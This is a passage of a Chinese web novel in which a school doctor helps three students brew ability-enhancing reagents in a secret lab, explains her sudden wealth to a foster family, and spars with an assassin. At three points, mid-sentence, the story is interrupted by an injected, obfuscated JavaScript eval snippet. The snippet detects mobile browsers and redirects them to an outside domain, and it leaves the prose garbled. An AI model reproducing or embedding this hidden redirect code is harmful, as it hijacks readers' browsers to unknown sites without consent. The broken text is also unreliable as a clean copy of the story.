安戈听出来他意有所指，他口中专业的人，恐怕就是自己吧。从她对林曜昕的观察来看，虽然他比另外两人成熟一些，但说到底也不过是个喜欢玩耍的孩子，现在这件事情给他带来的负担感恐怕已经超过新鲜感了。 “喂，你们两个，才这样就不行了？还不如我呢。”唐玉不满地嘟囔着，随即提议道，“要不……我们吃个晚饭，然后再战？” “还要继续啊！”另外两人几乎是异口同声地叫唤了出来。 看着他们三个的模样，安戈提醒道：“我可在这儿用仪器给你们记着数，你们就快要完成今天的训练计划了……嗯，我看看，还差20%。” 林曜昕和艾斯顿时睁大了双眼。 平时，他们自己练习总是三天打鱼两天晒网，作业布置的第一天能百分百完成，到了第二天、第三天，完成度就逐渐降低。 到了现在，他们每天能完成一半就算不错了，可是在今天下午的实验中，竟然不知不觉地就要完成了训练。 安戈的提醒，顿时让两人又燃起了一丝斗志，既然可以一边和小伙伴研究新东西，一边完成作业，一举两得，何乐而不为呢。 “竟然……”林曜昕嘟囔着，“可是射击和体能训练呢？” 非凡能力、射击和体能三项训练，他们即将完成其中一项，也忽然有了动力，去完成另外两项。 “如果非凡能力和射击训练没有完成……”安戈耸肩，“指的是平均完成度低于60%，就会在我的课上受到惩罚。因为这两项和我的课程息息相关，体能训练有蕾妮老师监督你们，我暂时管不到，只是给你们训练数据上的参考。” 闻言，两个男孩子有点害怕地瑟缩了下脖子。 “唐玉，你完成多少了？”艾斯忽然问道。 “我上午就做完了啊。”唐玉理所当然道。 她本来就是好学生，又精力充沛，目标明确，做实验不过是她的课余爱好。 “……”艾斯沉默半晌，看了一眼林曜昕，“那……等下再试几次？” 林曜昕无奈点头：“要是结束得早，我们再去靶场练练……” 艾斯和林曜昕达成了一致，可是等到大家吃完饭聚在一起时，唐玉却又有点不安了。 她早就对笔记的内容有所疑问，实验中的失败更是让她的怀疑加深了，于是她指着几处操作问道：“安医生，这几个方法真的对吗？我们一次都没有成功过……” 唐玉所指内容的确难度更高，但是安戈并没有解释什么，只是默默地从架子上拿下了方才自己所做的试剂，转头递给了艾斯：“试试看，将他和皮肤接触使用。” 艾斯接过试剂，好似不太明白，反问道：“什么意思？” 唐玉也没明白。 林曜昕退开了一步——这是怕自己等下被误伤。 “你不会是说，这就是改造系统吧？”艾斯笑着说，“别和我开玩笑了，是恶作剧吧。” 看样子，他是真的没把这当成真的，毕竟他们一个下午都没成功过，难道安戈刚才不声不响地就做了出来？ 安戈歪着头：“要不我试用一下，给你看看？” 艾斯的手有些犹豫是否要递回，可是好奇心仍旧驱使着他将试剂滴在自己掌心。 试剂内的液体大约有3毫升，刚一接触到皮肤就被迅速吸收，然后彻底消失，像是什么都没发生过。 就连艾斯，也没感觉到自己有什么变化，只是茫然地看着周围，不知道下一步该怎么做。 就在这时，安戈提醒道：“你的能力还能使用吗？” 艾斯，自从幼时发现自己有元素分解能力后，使用它就像喝水呼吸一样简单。 就像今天做过的无数遍一样，艾斯想要将血液中的某些元素提取出来，可是半晌过后，什么都没有发生，他立刻慌了神，手足无措了起来，表情如同晴天霹雳。 唐玉此时的震惊不亚于艾斯，但她理智尚存，思考了几秒钟，紧张地咽了下口水，说道：“你跟我做一样的动作。” 她也像平时无数次练习时那样，用手指指尖在墙面上画出了一扇门——这是唐玉的非凡能力，“造门术”。 艾斯仿照着她的动作，也在墙上画出了一扇门，只见手指与固体接触的那一刹那，浅绿色的光芒从他的指尖迸发、延申，他惊讶不已——这是他从来没有过的体验。 于是，墙壁上出现了两扇一摸一样，宛如标准化定制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378586|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的门，同时打开。 “成、成功了……”唐玉结巴了。 “造门术，现在是你的能力了，在这三十分钟内好好享受吧。”安戈喝着茶，说道，又转向唐玉，“还有疑问吗。” 屋内一片寂静。 安戈的成果让三人组看到了希望。 他们不再怀疑安戈所提供的实验流程和操作方法，抱着笔记仔细研究，干劲十足。尤其是唐玉，一双眼睛亮得出奇，几乎就要将“崇拜”两个字直接写在了脸上，对于安戈的话深信不疑。 于是，他们三人又热火朝天地动起了手，就这样，在不知不觉中，艾斯和林曜昕很快完成了非凡能力的训练任务。 安戈知道，能力的过度使用可能会伤及身体和精神健康，所以她适时地提醒了他们。 “你们可能需要休息了。”安戈委婉说道，“也许你们可以使用普通人的方式继续做实验……或是，去完成射击和体能训练。” 那两人商量了一会儿，选择了后者，这一是因为习惯了用非凡能力后，普通方法做实验的效率太低，二是因为安戈已经告诉他们，如果射击训练的完成度过低，课上会受到惩罚，所以他们在月色中奔赴了靶场。 而安戈，思索了一会儿也和他们一起去了靶场。 原因很简单，因为安戈也为自己做了非凡能力的训练计划，昨晚的事情给她提了个醒。 虽然那根来自烈焰神鸟的羽毛还放在身上，安戈依旧能看到眼前的那串文字，可是…… 【实验室建设】契约进度 基础设施：20% 人员招募：4/20 改造/提升系统完成量：1/500 契约奖励：非凡能力达成A级(奖励以献祭形式发放) 这么多年来，她的追踪之眼一直都停留在B级，因为她只是将其作为研究的辅助工具使用，在微观世界中观察非凡能力的变化。 现如今，她离开了因特里赫德集团，那么多人对她虎视眈眈，她必须学会自保，况且…… 安戈的瞳孔中闪过一丝寒光，经过这段时间的深思熟虑后，她的确想到了一个办法，或许能够摆脱席森对他的监视，只是她的非凡能力必须达到A级。 她曾经见过A级追踪之眼能力者，那人不仅能够在现实世界、微观世界进行追踪，甚至还能在自己想要追踪的东西上安插锚点——也就是说，即便这样东西消失在自己的视野内，在一定范围内仍旧能够感知到他的方向，就如同开了监控一般。 而现在，安戈的追踪能力仍然有很大局限，她只能追踪已经出现在视线里的东西，如果一开始就有所遮挡，比如藏在墙壁之后，或者做了某种隐秘的伪装——比如易颜面具……以及对方的距离过远，都会导致她能力使用的失败。 如果，她能提升到A级，并且在席森身上安插一个锚点…… 安戈想，那她就能实时掌握席森的位置，对方想要找到她就更加困难了，而她，反而会成为丛林中的猎人，瞄准猎物的方向。 只是，分析仪显示，即使在每日训练强度拉满的情况下，她也至少需要半年才能达到A级，这实在是太慢了…… 如果她能在半年内完成和烈焰神鸟之间的契约，升为A级，那就为自己赚取了时间。可是安戈向来喜欢做两手准备，万一实验室的建设进度耗时更长……那还不如踏踏实实训练。 安戈一边射击，一边想着这些事情，表情格外严肃。 况且，即便通过契约获得了A级能力，如果没有掌握一定的实战技巧，也发挥不出A级的实力。 32. 第32章 很快，指针指向了十一点，他们必须回去休息了，这天分外忙碌，可每个人都感觉相当充实。 唐玉是最满足的一个，似乎自己的梦想近在咫尺，这可是她一周前想也不敢想的事情，她现在都觉得自己漂浮在云端。 其实，原本在教堂事件中，她对安戈还有些疑虑，现在已然只剩下了崇拜和欣喜——既然安戈能帮助她接近梦想，一定不是什么坏人。 林曜昕，虽然身体疲惫，但是能和自己的好朋友们呆在一处，享受共同创造的乐趣，还能趣味性地完成训练计划……这些是他前所未有的体验，甚至想去找席森感叹一下，桑格莉亚果真是有点东西。 这晚之后，不知怎么的，他也开始相信，桑格莉亚对于MAA或许有不同寻常的帮助，对于她的加入也多了几分期待。 而艾斯，却是心情最复杂的。 从今天下午，安戈拿出经费的那一刻开始，他就格外震惊——安戈什么时候这么有钱了？ 虽然那个叫谢缪的有钱人，为了买安戈的情报掏出了一万元，可是他们购买材料的费用远不止这个数字，安戈究竟从哪里来的钱？明明几个月前，她还一穷二白…… 她做了什么？能在短时间内赚到这么多的钱？ 或者说，她真的只是个医生吗？为什么知道这么多关于非凡能力的事情？而且对于非凡能力的研究这么熟悉？ 这些问题萦绕在艾斯的脑海中，让他想问却又不知道怎么问，该不该问，他也不敢往深处想。只是这些钱，安戈都用于了他们的秘密基地，用于了唐玉的梦想，和他们身上……她竟然这么大方。 “我知道你想问什么，回去后我会给你一个解答的。”看着艾斯复杂的表情，安戈心知，自己今天必然要给出一个解释，而这个解释她已经想好，于是安抚道，“也要让艾琳知道。” 家中，艾琳亮着一盏暖黄色的灯，等待着二人的归来。 “今天怎么这么晚回来？” 艾斯挠了挠头：“我们去学校训练了。” “真的？”艾琳目露怀疑，“你小子会在休息日自己加练？” “怎么不会？”艾斯涨红了脸，“你不信问安戈，她可是全程都看着呢。” “我作证。”安戈淡定回道，“他今天训练任务完成得很好。” 艾琳稀奇道：“这可怪了，你怎么转了性子？难道是安医生对你施了什么魔法？” 艾斯想了想，然后认真回道：“她或许真有魔法……今天变了好多东西出来。” 艾琳不解，又看向安戈。 安戈抽开凳子，坐在了艾琳的对面，张口就来：“今天我继承了一笔遗产。” 这是安戈编的，除此之外她想不到别的理由解释这笔钱的来历。 “咳……”艾斯顿时像是被呛住了一般，“你说什么？” “啊？”艾琳也一时没了声。 “嗯，就是这样，我继承了一笔遗产，所以现在手上有了些钱。”安戈继续不紧不慢地对艾琳说，“很感谢这段时间你们对我的照顾，刚才我已经将一笔钱打到了你的账户上，可以查收一下。” 艾琳瞠目结舌，打开自己的光脑查看，果然收到了一笔“巨款”。 “这……这太多了。”艾琳赶忙道，“你不用给这么多的。” 艾斯也探过头去，当他看到上面的数字时，也是震惊得咋舌：“这么多……” “那你要搬出去吗？”艾斯问道，“其实你继续住在这里也可以……” 他的声音越说越小，这段时间的相处中，要说艾斯对安戈一点感情也没有是假的，他这么问，是因为安戈曾经就提出过想要搬出去住，现在她完全可以这样做了。 “如果你们方便的话，可能还需要打扰一段时间。”安戈说着，“我还是想搬入校舍，只是孟校长说需要比赛后才能进行修缮。” 艾琳回道：“哪有什么不方便的，不就是一个房间的事情，只是现在你房间的阳台有些漏雨，窗户也关不牢，可能要委屈一些了。” 安戈并不在意这些，这几个月以来，艾琳对她很好，她也久违地感受到了家的温情，于是笑着回她：“哪有什么委屈的，只要你们不嫌拥挤就好。” 艾琳也笑了：“等你们去比赛了，我就把这些地方修一修，回头要是你想回来住，随时欢迎。” 艾斯看着两人，不知怎么的，忽然觉得她俩才像是亲姐妹一样，吃醋道：“随时欢迎~姐姐你可真喜欢安医生~什么时候能对我这么温柔。” “别整这死出。”艾琳用力捏着艾斯的脸，威胁道，“你什么时候不讨打，我什么时候就温柔了。” 艾斯捂着脸颊，吐了吐舌头。 “对了，安戈和家人联系上了吗？”艾琳又问，“要去看看家人吗？” 既然是继承遗产，应当是和家里人有了联络才对。 听到这话，安戈瞬时间想到了过去的画面——父母仍然在的时候，他们出海的那天……她停顿片刻才摇头：“不，他们都不在了。” 艾琳和艾斯紧张地相互看了一眼，沉默良久。 “没事儿，以后你就在这儿……”艾琳安慰道，“我们就是你的家人。” 安戈发自内心地笑了，不仅是因为艾琳艾斯接受了她的解释，更是因为他们两个真的对自己很好——仿佛是在她紧张混乱的人生中，演奏出了和谐又快乐的音符，让她的神经能稍微松弛，获得片刻放松。 只是这放松之后，她还要面对另一个困难——席森。 “我不明白，你安排这些是做什么。” 这一天快要结束时，席森终于出现了，这是自从教堂事件后他们第一次正式谈话。 安戈看见，席森面上的伤痕已经复原，好像什么事情都没有发生过一般，可是她也清楚，两个人的心中都有什么悄然改变了。 “你指望在这里呆上多久？”席森的嘴角挂上一抹嘲讽的笑容，“很快你就不在这里了。” 安戈曾经告诉席森，自己需要时间思考，他们以一月为期，等时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388273|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一到，无论安戈是加入MAA，还是选择逃脱席森的掌控，她都不可能呆在太阳镇。可她如今却大费周章地搞实验室，席森难免产生疑惑。 “我看不到将来的事情，只能看眼下了。”安戈回道，看着席森的眼睛，目光澄澈，“影子杀手不允许吗？” 她的目光仿佛能穿透席森，看清真相。 席森的心头一跳，也不知是因为心虚还是愧疚，莫名地不敢看她——或许伊恩真的激起了席森的部分善良之心，让席森想起了某些往事。 “不，你干什么都无所谓，反正最终……都是一样的。” “哦？”安戈撇了撇嘴，“倒是你，和以往不太一样。我很好奇，是什么让你在楼顶拖延了这么长的时间呢？连敌人绕后了都不曾察觉？” 安戈对于到时如何回复席森已经有了思考，只是尚不成型——而且她也需要继续增加自己的筹码，因此并不想和席森做口舌之争，于是话锋一转，将话题带到了另一个方向。况且……她也的确好奇，是什么事情让这个杀手马失前蹄，粗心大意至此。 谈到这里，席森的眼前仿佛又出现了那天夕阳下，伊恩的面容，那个想复仇的教士控诉着他的无情，控诉他为了达到目的不择手段，而这张面孔和安戈的脸重叠在一起，让他心烦意乱。 他参与围剿了伊恩的恩师，琳光大主教，而对安戈…… 席森不愿再想下去。 他从来不是这样的人……不会这样优柔寡断，他应当是坚毅的、决绝的、狠心的，只要为了自己的目标，就竭尽全力，不管不顾。 可他现在，想起了自己曾经对安戈的隐瞒和欺骗，甚至有一瞬间的晃神，而就是这短短的一瞬，被安戈敏锐地捕捉到了。 ——他想到了什么？他为什么不敢看自己？ 安戈的手悄悄捏紧，忍不住想起了杜朗的话——是席森杀害了她的父母。 “是我大意了。”席森冷漠地说着，抚摸上自己的脸颊，随即露出他一贯带着寒气的笑容，“多亏了你……我会记得这个教训的。” 安戈也不再多说什么，垂下头，强逼着自己不去多想，她怕自己的情绪变化被席森看见，打草惊蛇。 “那个叫做伊恩的教士，我看见了他的灵魂。”冷不丁地，席森提醒道，“他飞往了幽灵司令处。” 安戈的面色顿时阴沉了几分：“他的影响力……可真是骇人。” 因特里赫德集团的老板“幽灵司令”，传闻中能够驱使死去的幽灵，安戈并没有见过和他相同能力的人，也不了解这个能力要如何使用，但是能从守野市驱使到在太阳镇死亡的人类灵魂，跨度如此之远，显然是十分恐怖的能力。 “所以说，满月小姐，以你一人之力，恐怕是很难报仇了。”席森幽幽道，语气中带着一丝蛊惑，“如果我们合作，说不定还有一丝机会。” “当然，我一直都在好好考虑这件事情。”安戈神色诡异地笑着，继续看着席森的眼睛说道，“也要……继续考察一下你和MAA。” 33. 第33章 周一，太阳镇中学，安戈照常上课。 她先是检查了学生们训练任务的完成情况。 三人组所在的班级，大约有三分之一的人每日平均完成度在85%以上，这其中就包含了唐玉；林曜昕和艾斯都位于中间的三分之一，完成度在60%至85%之间；最后，还有约三分之一的人没有达到及格线。 对此安戈并不心慈手软，她先是表扬了完成度高的学生，又用分析仪将他们的进度用图标的形式展示出来，结果发现，这些人中竟然还有部分非凡能力晋升的进度要高于一开始的预期。 就拿唐玉举例，一开始阿尔法认为她有50%的几率在一个月内升为C级，可现在却显示，她两周内或许就能突破这一难关。 这让唐玉欣喜若狂，也让那些没有努力的学生有点后悔——如果没有这么直观的差异体现，他们还不会如此懊悔，可是当看见一个实实在在能拿到的硕果在前方等着时，就会动力满满。 而和唐玉一样努力的学生都两眼放光，显然更加对于训练都更积极主动了，有的甚至开始考虑是否需要购买晋升所需的非凡材料。 在非凡能力即将提升时，如果能辅以充满灵性的材料，诸如“鲛人满月泪珍珠”、“亡灵魂炎”、“巨大蜥蜴的背鳍尖刺”等，就能够帮助非凡者更快掌握新的能力，也让能力的进步更加迅速。 而这些，也是提升系统的必备材料，提升系统可以让非凡者的能力在三十分钟内短暂提升，因此安戈在黑市也购买了此类材料，准备在秘密基地中复现。 不过这些都是后话，因为研究制造是她晚上要做的事情，而现在，她挑出了那些没有及格的学生。 “每个人的喜好、擅长不同，所以有的人可能对于训练呢，就是缺乏了些兴趣。”安戈慢悠悠说着。 那些人抬起头来，似乎是没想到安戈竟然还替他们开脱，目露感激。 然而下一秒，所有人的脸就都垮了下来。 “既然有人对实地训练不感兴趣。”安戈勾起唇角，“那就在理论知识上努力吧，我找来了往年海岛竞赛的规则书、地图等信息……请这些同学进行抄写和背诵，明天我来抽查。” 抄写和背诵……他们倒吸一口凉气。 这些东西他们更不擅长！ 毕竟非凡能力的世界都是强者为尊，所有人都是以实际训练为主，没几个能力者的学习任务是这些东西，这下可算是要了他们的命……早知道是这种惩罚方式，他们宁愿完成训练计划！ 不过安戈也并非随意布置任务，规则书和地图，他们迟早都是要接触的，不如早些提上日程……她一开始就提醒过这些学生，她虽然是校医，可是当起训练师来也是相当严厉的。 其实这一切都和安戈自己的性格、习惯相关，她从小就是做什么就想做到最好，学习是如此，研究是如此，带实验室团队也是如此。她常彻夜工作，自己卷生卷死，对手下的人要求也颇为严格，这才有了年少成名，著作斐然。如今她虽然在一所破落的非凡学校工作，也不会降低自己的标准。 与海威尔不同的是，安戈十分注重效率，所以会在任务设计上更加科学高效，即便是惩罚也要设计得精巧，这就是她的行事作风。 “好了，接下来，我们开始今天的课程。”安戈说道，“拿上适合你们的猎灵枪，我们先从基础练起。” 自这天起，太阳镇中学的学生都自发地开始努力了起来。这所学校一共有两个C班，三个D班，所有班级的射击课都由安戈来教学，学生们在这门课上的动力、所取得的进步甚至辐射到了别的课程中。 太阳镇中学的学生少，教师也少，一共只有四位老师，体术课由蕾妮负责，还有一门理论课，一门综合实战课，这两门课都由男老师贾斯来管理。 他们都惊讶于学生的改变，尤其是贾斯，他明显察觉到了学生能力上的提升，细问之下才知道，安戈的分析仪给学生们推荐了各项能力的训练计划，暗自称奇，于是在下课后来到了安戈的桌前。 “安医生……”贾斯有些不好意思地开口道，“我听说，学生们都收到了一份训练计划。” 此时，安戈正在准备下一节课的内容，抬眼看过去，就看见蕾妮也向她走了过来：“学生也跟我说了，这是真的吗？” 看着两人有些期待的目光，安戈点了点：“是的，但是我只会检查他们的射击和非凡能力训练是否完成，毕竟体术课是蕾妮老师的课程……我的课程内容是帮助他们练习射击，并将射击和非凡能力的使用融合。” “我可以看一看吗？”贾斯又问，“我听说守野市有的学校早就开始用这样的仪器了，可我还没见过呢。” “当然。”安戈毫不犹豫地拿出自己的分析仪，并且投屏出了密密麻麻的内容，“这些是全校学生的能力信息，还有人工智能推荐的训练计划。” “哇。”蕾妮惊叹道，“可以给我发一份吗？我也想给学生们用这份计划！” “没问题。”安戈随意地在屏幕上点击，发送，随后又望向贾斯，“你需要吗？” 贾斯迟疑了一小会儿，然后才说：“嗯……需要，不过我更想……” 贾斯说了一半就停顿住了，支支吾吾地有些扭捏，安戈等待了一会儿，那边还没有下文，就有些不耐烦地皱起眉来：“直接说吧，我看能不能做到。” “哈哈……”贾斯说，“我还想自己用一用……虽然成年后非凡能力的提升速度会减慢，但是总归还想试一试。” 原来他是想给自己制定训练计划！ 安戈爽快回道：“当然，蕾妮需要吗？” 蕾妮脸上顿时扬起了笑容：“真的吗？太好了！我也想试试呢！” 这段时间，太阳镇中学的所有人都相当忙碌，从教师到学生，从C班到D班，从安戈到三人组，每人都有很多事情需要完成。 除了教学任务外，安戈还要完成自己的训练计划，配置改造系统，成日都泡在学校里，经过这段时间的努力，她的非凡能力训练计划稳步推进，也做出了五六支改造系统，但由于“母能力”样本较少，全部都是“追踪之眼”、“造门术”和“元素分解”。 为了更加方便，安戈还和孟校长借了校舍的钥匙，因此出入不再非要依靠唐玉的造门术了，她还搞来了一张折叠床，以便在这里休息小憩，每当这个时候，安戈就在想，如果上面几层的校舍能够修缮好，她会有多么开心。 而这一切，她都没有避讳席森，席森也没有阻拦。 以这家伙的自大程度，恐怕不会把这当一回事——安戈心里想着。 她不知道的是，席森的毫无动作，不仅是因为他的自信，还出于他对安戈的同情和歉疚。 三人组同样如此，白天在学校上课，晚上制作改造系统，每天生活都相当忙碌。 唐玉，一门心思地想要复刻出安戈那日展现的成果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15406661|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，可是一日、两日、三日过去了，她始终都没有成功，于是唐玉一天比一天地锤头丧气；与之相反的是，艾斯和林曜昕反而开始安慰起了她，因为他们两个的非凡能力，在实验练习中进步飞快，远超前几年，也就对这个实验多了许多耐心。 这天，在又一次失败后，唐玉懊恼地坐在凳子上，闭上眼，什么话也不想说，一口闷气郁结在胸口。 艾斯凑到她的身边：“哪有那么容易成功，要我说，今年能做出来就不错了。” 唐玉哪里听得这话：“胡说什么！我今天一定把这搞定！” 林曜昕无奈摊手：“你每天都要这么说。” 唐玉叹了口气，无奈地抓挠着自己蓬松的棕发：“为什么呢，为什么安医生成功得那么快，我却不行……” 安戈原本正在忙自己的事情，闻言回过头来，搭了一句：“练习和手感也很重要，一丁点的差异，影响却很大。” “再试试吧。”艾斯拿起需要的仪器，“今天我们还有时间，再试一次。” 安戈笑着看他们三个再次忙碌起来，自己则是继续低头忙碌。 时间缓缓流逝，当安戈的工作终于告一段落时，她托腮打开了光脑，联系了一位相当重要的人——谢缪。 “有新的改造系统消息，只要五千，你就能得到具体情报。” 安戈的消息言简意赅，她手上又做出了几支，想要变卖成现金。 很快，她就收到了回复。 谢缪问道：“都有什么能力的？” 安戈思忖片刻，才问：“你想要什么能力？” “倒没有具体的能力要求……有没有那种方便跑路和保命的？” 方便跑路和保命？安戈的眼睛一亮：“有，D级造门术。” 别的不好说，唐玉的这一能力倒是十分适合跑路。 “嘶……能力是好，但是等级太低了啊，有没有更高一些等级的？或是别的能力？” 安戈捏了捏鼻梁，思考着怎么才能得到别的“母能力”。 只有得到更多“母能力”样本，她才能开发出不同类型和等级的改造系统。 以她目前的身份而言，并不方便公开招募样本，只能从自己人身上下手，林曜昕作为人造能力者，他的血液并不能作为“母能力”，剩下的选项……只有艾斯，可是和谢缪“方便跑路”的要求对不上。 “听说眼下只有这批货，其他的要再等等。”安戈回复道。 “算了，聊胜于无，有多少都给我寄过来吧。” “寄过去？” “我目前在伊比利奈岛，帮我寄过来，我给你邮费和跑腿费。” 又是这座岛……安戈心里想，大约是巧合吧。 “没问题。”她回道。 这种形式的交易不仅节省了二手格子商店的抽成，还能再赚一笔跑腿费，她十分乐意。 就在安戈伸了个懒腰，准备暂且收工时，巨大的尖叫声差点穿破她的耳膜。 “成功了！成功了！”唐玉跳了起来，尖叫着和艾斯林曜昕击掌，“我们终于成功了！！” 安戈起身，看到了唐玉手中，闪闪发光的液体。 【实验室建设】契约进度 基础设施：20% 人员招募：4/20 改造/提升系统完成量：2/500 契约奖励：非凡能力达成A级(奖励以献祭形式发放)